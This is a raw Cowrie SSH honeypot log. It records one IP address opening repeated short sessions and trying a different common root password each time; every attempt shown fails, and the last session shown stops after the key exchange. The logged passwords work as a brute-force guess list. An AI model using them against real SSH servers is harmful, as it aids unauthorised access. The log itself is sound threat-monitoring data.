{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:03.406718Z","src_ip":"60.165.124.241","session":"ae5cbcbf8ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456!","message":"login attempt [root/Abc123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:04.162004Z","src_ip":"60.165.124.241","session":"ae5cbcbf8ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:05.418437Z","src_ip":"60.165.124.241","session":"ae5cbcbf8ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d4babd8fa2a","protocol":"ssh","message":"New connection: 60.165.124.241:55680 (10.17.0.5:22) [session: 4d4babd8fa2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:05.667210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:05.676041Z","src_ip":"60.165.124.241","session":"4d4babd8fa2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:05.916727Z","src_ip":"60.165.124.241","session":"4d4babd8fa2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234!","message":"login attempt [root/abcd1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:06.999665Z","src_ip":"60.165.124.241","session":"4d4babd8fa2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:08.259032Z","src_ip":"60.165.124.241","session":"4d4babd8fa2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"3acc9c1f6bf4","protocol":"ssh","message":"New connection: 60.165.124.241:59086 (10.17.0.5:22) [session: 3acc9c1f6bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:08.503587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:08.508350Z","src_ip":"60.165.124.241","session":"3acc9c1f6bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:08.760775Z","src_ip":"60.165.124.241","session":"3acc9c1f6bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111Qq!","message":"login attempt [root/111111Qq!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:09.521888Z","src_ip":"60.165.124.241","session":"3acc9c1f6bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:10.776125Z","src_ip":"60.165.124.241","session":"3acc9c1f6bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33662,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0851d96a4fa","protocol":"ssh","message":"New connection: 60.165.124.241:33662 (10.17.0.5:22) [session: f0851d96a4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:11.023074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:11.028047Z","src_ip":"60.165.124.241","session":"f0851d96a4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:11.279351Z","src_ip":"60.165.124.241","session":"f0851d96a4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a??","message":"login attempt [root/123456a??] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:12.018383Z","src_ip":"60.165.124.241","session":"f0851d96a4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:13.257131Z","src_ip":"60.165.124.241","session":"f0851d96a4fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36480,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e574e47d73","protocol":"ssh","message":"New connection: 60.165.124.241:36480 (10.17.0.5:22) [session: a8e574e47d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:13.493439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:13.498573Z","src_ip":"60.165.124.241","session":"a8e574e47d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:13.747821Z","src_ip":"60.165.124.241","session":"a8e574e47d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX1234","message":"login attempt [root/1qaz@WSX1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:14.481624Z","src_ip":"60.165.124.241","session":"a8e574e47d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:15.726522Z","src_ip":"60.165.124.241","session":"a8e574e47d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39376,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc637f338d0f","protocol":"ssh","message":"New connection: 60.165.124.241:39376 (10.17.0.5:22) [session: dc637f338d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:15.977052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:15.985349Z","src_ip":"60.165.124.241","session":"dc637f338d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:16.239735Z","src_ip":"60.165.124.241","session":"dc637f338d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456..","message":"login attempt [root/Root123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:16.992399Z","src_ip":"60.165.124.241","session":"dc637f338d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:18.242387Z","src_ip":"60.165.124.241","session":"dc637f338d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42138,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4577e875d49","protocol":"ssh","message":"New connection: 60.165.124.241:42138 (10.17.0.5:22) [session: f4577e875d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:18.489267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:18.493768Z","src_ip":"60.165.124.241","session":"f4577e875d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:18.730637Z","src_ip":"60.165.124.241","session":"f4577e875d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE123","message":"login attempt [root/qwe123QWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:19.476439Z","src_ip":"60.165.124.241","session":"f4577e875d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:20.738920Z","src_ip":"60.165.124.241","session":"f4577e875d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45088,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a5a430f936","protocol":"ssh","message":"New connection: 60.165.124.241:45088 (10.17.0.5:22) [session: c9a5a430f936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:20.993232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:21.002835Z","src_ip":"60.165.124.241","session":"c9a5a430f936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:21.241998Z","src_ip":"60.165.124.241","session":"c9a5a430f936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234.","message":"login attempt [root/qwer1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:23.487016Z","src_ip":"60.165.124.241","session":"c9a5a430f936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:24.751745Z","src_ip":"60.165.124.241","session":"c9a5a430f936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49822,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f3fee0816b","protocol":"ssh","message":"New connection: 60.165.124.241:49822 (10.17.0.5:22) [session: d5f3fee0816b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:24.997880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:25.007630Z","src_ip":"60.165.124.241","session":"d5f3fee0816b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:46:25.245589Z","src_ip":"60.165.124.241","session":"d5f3fee0816b","protocol":"ssh"}
